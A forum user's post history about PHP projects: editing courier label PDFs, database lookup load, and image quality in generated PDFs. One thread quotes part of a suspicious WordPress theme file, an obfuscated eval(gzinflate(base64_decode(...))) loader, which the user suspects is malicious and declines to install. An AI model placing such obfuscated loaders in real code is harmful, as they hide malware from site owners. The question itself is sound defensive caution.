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  1. thanks for the replies guys. it's to edit labels from a courier. they give 4 labels per sheet. for each order you can have a 12 digit reference - NOTHING else. it would be great if i could have an area of text where i could put all order details. so... the code would read in a csv with full order details - with many orders... search for the 12 digit reference string... and then below add more information for the order. overwriting PDF or making a new one - either would be ok. let me know what u guys think.
  2. I need to edit an existing PDF and add text. I need to first search for a string. From the location where the string is matched, I want to add text 1.5cm below. Is this possible? The PDF has no protection or anything - just plain PDF. What code libraries do I need? Thanks.
  3. @Psycho That's just awesome THANKS! if you say it's OK... then that's cool with me I was just worried about my server being bogged down and serving no one
  4. I'm creating a service that will create sales data for sellers. I need some advice on using a database and looking up many many times. Let's say a seller has 100,000 past sales. Let's say today they have 200 sales. One of the things I want to do for the 200 sales is to compare with the past 100,000 sales and give a mini report telling the seller if a customer is a repeat customer. Need to know if a loyal customer who has spent a lot OR if a bad customer who has caused trouble. Great idea. (I think!!) Problem: is that 200 x 100,000 database lookups? Is there a way to lessen the load on the server? 200 x 100,000 isn't that much of a problem I don't think. Let's assume I have 150 customers. I doubt if they will all run simultaneously - but a good chance all will run within 5 minutes (like if it's standard practice to start sorting orders at 2pm for example). Those 5 minutes could bring down my server! I'm thinking what would be the best way to store my data and then cope with the CPU requirement to go through that amount of data? Cloud storage + processing? I have no experience of this at all! Just looking for advice. Thanks.
  5. I'm having a mini application developed to create A4 PDF's using PHP A key part of the project needs to be able to insert high quality graphics into the document that when printed out look really sharp Some of the graphics are variable and don't always have to be printed I just wanted to know if there was a general guide on what graphics and quality to use? The graphics I need printed print really well when put into a Word document at 300 resolution - so I can't see why there should be any problems inserting into a PDF - these graphics are PNG ones Unfortunately, if I insert the same PNG format into the PDF via the PHP code, the graphic turns out to be REALLY big Just looking for advice Thanks OM
  6. OM2

    Dodgy PHP code

    thanks - thats great advice
  7. OM2

    Dodgy PHP code

    hmmm ok - i can do so u think it might not be malicious code in that case? would such code actually execute and do 'something'? the actual file was about 130kb - which is huge for a php file - i would assume that would be 10000 lines of code or something? let me know what u think thanks
  8. I have some PHP code that looks really dodgy I was given a Wordpress theme to install for someone Don't know why, I just thought I would check a few of the files before I installed on my server I've always thought it would be easy to hijack a server by using malicious code Don't know if the code would make sense, but I thought I'd give a snippet: <? eval(gzinflate(base64_decode('HJzHrutIlkV/pWaVAAf0Dmh0gd57z0mD3ouiN1/fujXNvBCpiDh7ryXq6T//+z//+Vd1ZuM/zdt96jHbq3/ybKsI7P/KqpjL6p9/iyoq98ubjUMIfuMvrLpfTH0RWnsvwTx5R6skWkXZOkZ8VFMt4SyrqsBepeNfEDwLEARxu/B82qZjv5eimjQCMMuVkLVTsEpFs6plG6TmOpRw8N5dtHAneSuOS/LdMG4U15e7wS2WQ+O/iGg228H36YdsX/dcLu/Uv3dEvU3Hak3Dz82hOsfCnEFAgcpaKFC7MfoUVSsYv5BtRtXdXAzt7WrrNvjBsNlBx1fgAohc+C2jj4DdXxoEIBwRTjNBv3ME9iM7fnV1qsv5YjX+UIn725T6GpuXmX4/yjw8mKuQxWZtmj75/ndDVKJuklU3RHIsIKWJRHKgaVdSgGByGEol6x4HB9qGNCD3YSP13MPg0FWutzew6NgFSOCs1brvSLpEyCq9iYa/Vj33vgsO0C/bHQLAHbHFqToufGTWNsUkxTu/NKbG4djdTrfd+ARSGV4uar7gm/MRaRB11/F3fa4jfhkXpw9U41ZwUwsw39zDFANHN0Kx9aVC0Jk590jUSd51KFWkWPEZ+OHEuWmNBTTeA+4jy4HcclTf24n5njFhOabzHp4m2MM+rqGSsTrxD/DmJvxF9wtAye4JSlciWwpOvhrk0gjhGy2dRCQP8TO0e0LqKqgOhZBdXm/5+ ... ... ... WRAT37W3+ldgc82VddtuetUZ7xH2clfi+VxOKhhCKsTwKyZgZP5kV13qHwxIR1aJMfgax3Ipx6qKSdsmmaQ5oL3PROPx72pA+TK81pxRxJMb4jBDYl4By4QSTHJeEuoHUiRMUnw3FuuhYUD6BTnCQWFx533VWUDCR7xqMuAL8wMMN9M6EBTiILwyZTEwk589Z5tJxEy6nM4auIJwL7TCSOIicpIz61jrcXG3imuJx3zHq/HTLpHoFbO2lu3klsZySnQ7fAhztFEFVUwxhYVgVxQ62GOkVcbxydLJgWcbJZksvjvapHb1LLcXRCnXJfbb1VTYTKxZbBvvDtLNbqlaC/ortDoOKhGkSfd5NpltjIp9f5gq/4SOT9bNXqsk118wmR/M5xO+NsIAG+Vd+WXADiysXDczyPAnG3o870gkaC3rERGuxzhWTqYfpcGuWC4Xd1qOtNnMqInNpNo1SJsf1Zk+wjBkciD/mFBiXEbac7Qx9pgFq5X09LEHyeUvsbylh8O3b8v3y/sXA//3nn3/+8z///t9///1/'))); ?> The above is just a snippet of the begining and end I won't be installing the theme on my server! What is the code though?? What can it do? Is it likely to be malicious?? Thanks OM
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